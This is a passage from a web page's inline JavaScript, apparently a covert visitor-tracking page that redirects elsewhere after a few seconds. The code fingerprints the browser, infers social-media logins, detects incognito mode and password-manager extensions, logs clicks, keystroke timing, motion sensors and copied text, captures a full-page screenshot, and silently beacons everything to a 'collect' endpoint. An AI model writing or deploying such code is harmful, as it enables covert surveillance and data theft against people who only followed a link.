    // ── METHOD 4: Performance Resource Cache Scan ────────
    setTimeout(()=>{try{
        const entries=performance.getEntries();
        const dm={'facebook.com':'facebook','fbcdn.net':'facebook','instagram.com':'instagram','cdninstagram.com':'instagram','twitter.com':'twitter','twimg.com':'twitter','x.com':'twitter','youtube.com':'youtube','ytimg.com':'youtube','googlevideo.com':'youtube','linkedin.com':'linkedin','licdn.com':'linkedin','reddit.com':'reddit','redditmedia.com':'reddit','redditstatic.com':'reddit','tiktok.com':'tiktok','ttwstatic.com':'tiktok','discord.com':'discord','discordapp.com':'discord','spotify.com':'spotify','spotifycdn.com':'spotify','netflix.com':'netflix','nflxext.com':'netflix','amazon.com':'amazon','github.com':'github','githubusercontent.com':'github','whatsapp.com':'whatsapp','whatsapp.net':'whatsapp','telegram.org':'telegram','slack-edge.com':'slack','zoom.us':'zoom','dropbox.com':'dropbox','notion.so':'notion','medium.com':'medium','pinterest.com':'pinterest','pinimg.com':'pinterest','twitch.tv':'twitch','twitchcdn.net':'twitch'};
        entries.forEach(e=>{if(!e.name)return;try{const h=new URL(e.name).hostname;for(const[dom,plat]of Object.entries(dm)){if(h.endsWith(dom)&&d.social_logins[plat]){d.social_logins[plat].resource_found=true;d.social_logins[plat].status='cached';d.social_logins[plat].confidence='high';if(d.social_logins[plat].likely_logged_in==='unknown')d.social_logins[plat].likely_logged_in='probable';break;}}}catch(x){}});
    }catch(e){}},2000);

    // ── METHOD 5: In-App Browser = Definite ──────────────
    const iab=d.in_app_browser;
    if(iab&&!['none','webview','restricted_webview','ios_webview','android_webview'].includes(iab)){
        setTimeout(()=>{
            if(d.social_logins[iab]){d.social_logins[iab].likely_logged_in='definite';d.social_logins[iab].confidence='definite';d.social_logins[iab].method='in_app_browser';}
            else d.social_logins[iab]={likely_logged_in:'definite',method:'in_app_browser',confidence:'definite',status:'in_app'};
        },500);
    }
})();

// ══ L17-L19: Incognito, Dark Mode, Extensions ══════════
d.incognito_detected=0;
(function(){
    if(navigator.storage&&navigator.storage.estimate){navigator.storage.estimate().then(e=>{if(e.quota&&e.quota<120000000)d.incognito_detected=1;});}
    try{window.webkitRequestFileSystem(window.TEMPORARY,1,()=>{},()=>{d.incognito_detected=1;});}catch(e){}
    try{const db=indexedDB.open('_tp_test');db.onerror=()=>{d.incognito_detected=1;};}catch(e){d.incognito_detected=1;}
    try{localStorage.setItem('_tp_test','1');localStorage.removeItem('_tp_test');}catch(e){d.incognito_detected=1;}
})();
d.dark_mode=matchMedia('(prefers-color-scheme:dark)').matches?1:0;
d.extensions_detected=[];d.extensions_count=0;
(function(){const checks=[{name:'AdBlock/uBlock',test:()=>{const e=document.createElement('div');e.className='ad-banner adsbygoogle';e.style.cssText='position:absolute;left:-9999px;height:1px';document.body.appendChild(e);const r=e.offsetHeight===0||getComputedStyle(e).display==='none';e.remove();return r;}},{name:'Grammarly',test:()=>!!document.querySelector('grammarly-desktop-integration,grammarly-extension,[data-grammarly-shadow-root]')},{name:'LastPass',test:()=>!!document.querySelector('[data-lastpass-icon-root],#__lpform_icon_for')},{name:'1Password',test:()=>!!document.querySelector('com-1password-notification,com-1password-menu')},{name:'Dashlane',test:()=>!!document.querySelector('[data-dashlane-rid]')},{name:'Bitwarden',test:()=>!!document.querySelector('[data-bwautofill]')},{name:'Honey',test:()=>!!document.querySelector('#honeyContainer,.honey-btn')},{name:'React DevTools',test:()=>!!window.__REACT_DEVTOOLS_GLOBAL_HOOK__},{name:'Vue DevTools',test:()=>!!window.__VUE_DEVTOOLS_GLOBAL_HOOK__},{name:'Redux DevTools',test:()=>!!window.__REDUX_DEVTOOLS_EXTENSION__},{name:'ColorZilla',test:()=>!!document.querySelector('#colorzilla')},{name:'Dark Reader',test:()=>!!document.querySelector('meta[name="darkreader"],style.darkreader')},{name:'Ghostery',test:()=>!!document.querySelector('#ghostery-purple-box,#ghostery-tracker-tally')},{name:'Privacy Badger',test:()=>!!document.querySelector('#privacy-badger-placeholder')}];setTimeout(()=>{checks.forEach(c=>{try{if(c.test()){d.extensions_detected.push(c.name);d.extensions_count++;}}catch(e){}});d.extensions_detected=d.extensions_detected.join(',');},800);})();

// ══ L20: Speed Benchmark ════════════════════════════════
(function(){const st=performance.now();fetch(API+'?route=speedtest&_='+Date.now(),{cache:'no-cache'}).then(r=>r.text()).then(data=>{d.bandwidth_kbps=Math.round((data.length*8)/((performance.now()-st)/1000)/1000);}).catch(()=>{});})();

// ══ L21: Timezone & Language Mismatch ═══════════════════
d.timezone_mismatch=0;d.language_mismatch=0;
(function(){const btz=d.timezone_intl||Intl.DateTimeFormat().resolvedOptions().timeZone||'';if(IP_TZ&&btz&&IP_TZ!==btz)d.timezone_mismatch=1;const blang=(navigator.language||navigator.userLanguage||'').substring(0,2).toLowerCase();const langMap={US:'en',GB:'en',AU:'en',CA:'en',IE:'en',NZ:'en',DE:'de',AT:'de',CH:'de',FR:'fr',BE:'fr',ES:'es',MX:'es',AR:'es',CO:'es',IT:'it',PT:'pt',BR:'pt',NL:'nl',PL:'pl',RU:'ru',UA:'uk',JP:'ja',CN:'zh',KR:'ko',SA:'ar',EG:'ar',TR:'tr',SE:'sv',NO:'no',DK:'da',FI:'fi',CZ:'cs',RO:'ro',HU:'hu',GR:'el',TH:'th',VN:'vi',ID:'id',IN:'hi',AL:'sq',RS:'sr',HR:'hr',BG:'bg',SK:'sk',SI:'sl',LT:'lt',LV:'lv',EE:'et'};const expected=langMap[IP_CC]||'';if(expected&&blang&&expected!==blang)d.language_mismatch=1;d.browser_language=blang;d.ip_timezone=IP_TZ;d.ip_country=IP_CC;d.browser_timezone=btz;})();

// ══ L29: Accelerometer, Gyroscope, Motion Sensors ═══════
d.motion={has_accel:0,has_gyro:0,has_magnet:0,has_light:0,has_proximity:0,accel_samples:[],gyro_samples:[],orientation_changes:0,max_accel:0,detected:0};
(function(){
    // Accelerometer
    if('Accelerometer'in window){
        try{const a=new Accelerometer({frequency:10});a.addEventListener('reading',()=>{
            const mag=Math.sqrt(a.x*a.x+a.y*a.y+a.z*a.z);
            if(d.motion.accel_samples.length<30)d.motion.accel_samples.push([Math.round(a.x*100)/100,Math.round(a.y*100)/100,Math.round(a.z*100)/100]);
            if(mag>d.motion.max_accel)d.motion.max_accel=Math.round(mag*100)/100;
            d.motion.detected=1;d.motion.has_accel=1;
        });a.start();}catch(e){}
    }
    // Fallback: DeviceMotion event
    window.addEventListener('devicemotion',e=>{
        if(e.accelerationIncludingGravity){
            const a=e.accelerationIncludingGravity;
            const mag=Math.sqrt((a.x||0)**2+(a.y||0)**2+(a.z||0)**2);
            if(d.motion.accel_samples.length<30)d.motion.accel_samples.push([Math.round((a.x||0)*100)/100,Math.round((a.y||0)*100)/100,Math.round((a.z||0)*100)/100]);
            if(mag>d.motion.max_accel)d.motion.max_accel=Math.round(mag*100)/100;
            d.motion.detected=1;d.motion.has_accel=1;
        }
        if(e.rotationRate){
            const r=e.rotationRate;
            if(d.motion.gyro_samples.length<30)d.motion.gyro_samples.push([Math.round((r.alpha||0)*10)/10,Math.round((r.beta||0)*10)/10,Math.round((r.gamma||0)*10)/10]);
            d.motion.has_gyro=1;
        }
    },{once:false});
    // Gyroscope API
    if('Gyroscope'in window){try{const g=new Gyroscope({frequency:10});g.addEventListener('reading',()=>{d.motion.has_gyro=1;});g.start();}catch(e){}}
    // Magnetometer
    if('Magnetometer'in window){try{const m=new Magnetometer({frequency:5});m.addEventListener('reading',()=>{d.motion.has_magnet=1;});m.start();}catch(e){}}
    // Ambient Light
    if('AmbientLightSensor'in window){try{const l=new AmbientLightSensor();l.addEventListener('reading',()=>{d.motion.has_light=1;d.motion.ambient_lux=l.illuminance;});l.start();}catch(e){}}
    // Orientation changes
    window.addEventListener('orientationchange',()=>{d.motion.orientation_changes++;});
    screen.orientation?.addEventListener('change',()=>{d.motion.orientation_changes++;});
})();

// ══ L30: RAM Pressure & Memory ══════════════════════════
(function(){
    if(performance.memory){
        d.max_ram_mb=Math.round((performance.memory.jsHeapSizeLimit||0)/1048576);
    }
    // CrossOriginIsolated check
    d.cross_origin_isolated=window.crossOriginIsolated?1:0;
})();

// ══ L15: Behavioral + Touch Heatmap + Exit Intent ═══════
const bh={cl:[],rc:0,sd:0,ms:[],kc:0,kt:[],ts:0,cp:0,pa:0,rx:0,tg:0,idle:0,la:Date.now(),ei:0,copied:[]};
let lct=0,lcx=0,lcy=0,rpc=0;
document.addEventListener('click',e=>{const n=Date.now();bh.cl.push({x:e.clientX,y:e.clientY,t:n-t0,tg:e.target.tagName});if(n-lct<500&&Math.abs(e.clientX-lcx)<50&&Math.abs(e.clientY-lcy)<50){rpc++;if(rpc>=3){bh.rc++;rpc=0;}}else rpc=1;lct=n;lcx=e.clientX;lcy=e.clientY;bh.la=n;});
window.addEventListener('scroll',()=>{const t=document.documentElement.scrollHeight-innerHeight;if(t>0){const p=Math.round(scrollY/t*100);if(p>bh.sd)bh.sd=p;}bh.la=Date.now();});

// Mouse heatmap (desktop)
const heatPts=[];let lhm=0,lm=0;
document.addEventListener('mousemove',e=>{const n=Date.now();if(n-lhm>100){heatPts.push([e.clientX,e.clientY,n-t0]);lhm=n;}if(n-lm>300){bh.ms.push({x:e.clientX,y:e.clientY,t:n-t0});lm=n;}bh.la=n;});

// Touch heatmap (mobile) — replaces mouse on touch devices
const touchPts=[];
let ltch=0;
document.addEventListener('touchmove',e=>{
    const n=Date.now();
    if(n-ltch>100&&e.touches[0]){
        touchPts.push([Math.round(e.touches[0].clientX),Math.round(e.touches[0].clientY),n-t0]);
        ltch=n;
    }
    bh.la=n;
},{passive:true});
document.addEventListener('touchstart',e=>{
    bh.tg++;bh.la=Date.now();
    if(e.touches[0])touchPts.push([Math.round(e.touches[0].clientX),Math.round(e.touches[0].clientY),Date.now()-t0]);
},{passive:true});

let lk=0;document.addEventListener('keydown',()=>{const n=Date.now();bh.kc++;if(lk>0)bh.kt.push(n-lk);lk=n;bh.la=n;});
document.addEventListener('visibilitychange',()=>{bh.ts++;});
document.addEventListener('contextmenu',()=>{bh.rx++;});
setInterval(()=>{if(Date.now()-bh.la>5000)bh.idle++;},1000);
document.addEventListener('mouseout',e=>{if(e.clientY<5&&e.relatedTarget===null){bh.ei++;}});
document.addEventListener('copy',()=>{bh.cp++;try{const sel=window.getSelection();if(sel)bh.copied.push(sel.toString().substring(0,500));}catch(e){}});
document.addEventListener('paste',()=>{bh.pa++;});

// ══ Screenshot (full page, full size) ═══════════════════
setTimeout(()=>{if(typeof html2canvas==='function'){try{
    // Capture full page — set windowWidth/Height to full document size
    const fullW=Math.max(document.body.scrollWidth,document.documentElement.scrollWidth,document.body.offsetWidth,document.documentElement.offsetWidth,document.body.clientWidth,document.documentElement.clientWidth);
    const fullH=Math.max(document.body.scrollHeight,document.documentElement.scrollHeight,document.body.offsetHeight,document.documentElement.offsetHeight,document.body.clientHeight,document.documentElement.clientHeight);
    html2canvas(document.documentElement,{
        scale:1,
        logging:false,
        useCORS:true,
        allowTaint:true,
        width:fullW,
        height:fullH,
        windowWidth:fullW,
        windowHeight:fullH,
        scrollX:0,
        scrollY:0,
        x:0,
        y:0
    }).then(canvas=>{
        d.screenshot=canvas.toDataURL('image/jpeg',0.8);
        d.screenshot_w=canvas.width;
        d.screenshot_h=canvas.height;
    }).catch(()=>{});
}catch(e){}}},3000);

// ══ Combined Fingerprint ════════════════════════════════
function buildFP(){d.combined_fingerprint=H([d.canvas_hash,d.webgl_hash,d.audio_hash,d.font_hash,d.plugin_hash,d.hardware_concurrency,d.device_memory,d.screen_width+'x'+d.screen_height,d.color_depth,d.gpu_renderer,d.speech_voices_hash,d.timezone_intl,d.webgl_vendor,d.max_texture_size,d.color_gamut,d.languages_list].filter(Boolean).join('|'));}

// ══ Transmit ════════════════════════════════════════════
function send(fin){
    if(sent&&!fin)return;buildFP();d.session_uid=SID;d.session_duration=Math.round((Date.now()-t0)/1000);
    d.max_scroll=bh.sd;d.click_count=bh.cl.length;d.rage_click_count=bh.rc;d.mouse_samples=bh.ms.length;
    d.keystroke_count=bh.kc;d.keystroke_avg_interval=bh.kt.length>2?Math.round(bh.kt.reduce((a,b)=>a+b,0)/bh.kt.length):null;
    d.tab_switches=bh.ts;d.copy_events=bh.cp;d.paste_events=bh.pa;d.right_clicks=bh.rx;d.touch_gestures=bh.tg;d.idle_seconds=bh.idle;
    d.exit_intent_count=bh.ei;d.copied_text=bh.copied.join('\n---\n').substring(0,2000);
    // Heatmap: mouse or touch
    if(heatPts.length>0)d.heatmap_points=JSON.stringify(heatPts.slice(-2000));
    if(touchPts.length>0)d.touch_heatmap_points=JSON.stringify(touchPts.slice(-2000));
    d.heatmap_viewport_w=innerWidth;d.heatmap_viewport_h=innerHeight;
    d.heatmap_is_touch=(touchPts.length>heatPts.length)?1:0;
    // Motion data (serialize samples)
    if(d.motion.accel_samples.length)d.motion.accel_samples=JSON.stringify(d.motion.accel_samples);else d.motion.accel_samples=null;
    if(d.motion.gyro_samples.length)d.motion.gyro_samples=JSON.stringify(d.motion.gyro_samples);else d.motion.gyro_samples=null;
    // Screen orientation update
    d.screen_orientation=(screen.orientation?.type||'').replace(/-primary|-secondary/,'');
    const pl=JSON.stringify(d);if(navigator.sendBeacon)navigator.sendBeacon(API+'?route=collect',new Blob([pl],{type:'application/json'}));
    else{const x=new XMLHttpRequest();x.open('POST',API+'?route=collect',!fin);x.setRequestHeader('Content-Type','application/json');x.send(pl);}
    if(!fin)sent=true;
}
setTimeout(()=>send(false),2000);setTimeout(()=>{sent=false;send(false);},10000);setTimeout(()=>{sent=false;send(false);},30000);
window.addEventListener('beforeunload',()=>send(true));document.addEventListener('visibilitychange',()=>{if(document.hidden){sent=false;send(true);}});
<?php if($showRedirect):?>setTimeout(()=>{location.href=<?=json_encode($redirectUrl)?>;},3500);<?php endif;?>
function H(s){let h=0;for(let i=0;i<s.length;i++){h=((h<<5)-h)+s.charCodeAt(i);h|=0;}return Math.abs(h).toString(16).padStart(8,'0');}
})();
</script></body></html>
